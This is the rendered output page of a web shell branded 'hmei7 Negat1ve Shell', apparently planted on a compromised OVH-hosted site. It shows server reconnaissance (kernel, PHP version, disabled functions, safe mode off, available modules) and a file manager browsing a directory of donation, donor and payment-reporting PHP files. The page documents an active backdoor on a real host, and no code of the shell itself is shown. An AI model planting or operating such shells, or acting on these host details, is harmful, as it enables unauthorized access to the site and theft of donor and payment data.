hmei7 Negat1ve Shell
Server Information
Operating System : Linux webd004.cluster130.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_
PHP Version : 8.3.23
Storage : Total = 12.95 TB, Free = 6.66 TB [51%]
Disable Functions : _dyuweyrj4,_dyuweyrj4r,dl
CURL : ON | SSH2 : ON | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF
Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE
Files Manager
Name Type Size Last Modified Owner/Group Permission Action
. dir -- 2025-02-18 09:52:19 landinv/users 0755 >> drwxr-xr-x
.. dir -- 2025-02-18 09:52:18 landinv/users 0755 >> drwxr-xr-x
AverageDonation.ph... text/x-php 6.89 KB 2025-02-18 09:52:19 landinv/users 0644 >> -rw-r--r--
DonationsVsIncome.... text/x-php 2.99 KB 2025-02-18 09:52:19 landinv/users 0644 >> -rw-r--r--
Endpoint.php text/x-php 11.53 KB 2025-02-18 09:52:19 landinv/users 0644 >> -rw-r--r--
FormPerformance.ph... text/x-php 4.08 KB 2025-02-18 09:52:19 landinv/users 0644 >> -rw-r--r--
Income.php text/x-php 4.31 KB 2025-02-18 09:52:19 landinv/users 0644 >> -rw-r--r--
IncomeBreakdown.ph... text/x-php 4.34 KB 2025-02-18 09:52:19 landinv/users 0644 >> -rw-r--r--
PaymentMethods.php text/x-php 2.42 KB 2025-02-18 09:52:19 landinv/users 0644 >> -rw-r--r--
PaymentStatuses.ph... text/x-php 3.77 KB 2025-02-18 09:52:19 landinv/users 0644 >> -rw-r--r--
RecentDonations.ph... text/x-php 2.13 KB 2025-02-18 09:52:19 landinv/users 0644 >> -rw-r--r--
TopDonors.php text/x-php 2.96 KB 2025-02-18 09:52:19 landinv/users 0644 >> -rw-r--r--
TotalDonors.php text/x-php 5.5 KB 2025-02-18 09:52:19 landinv/users 0644 >> -rw-r--r--
TotalIncome.php text/x-php 6.01 KB 2025-02-18 09:52:19 landinv/users 0644 >> -rw-r--r--
TotalRefunds.php text/x-php 5.35 KB 2025-02-18 09:52:19 landinv/users 0644 >> -rw-r--r--
Copyright negat1ve1337@gmail.com Coded by Negat1ve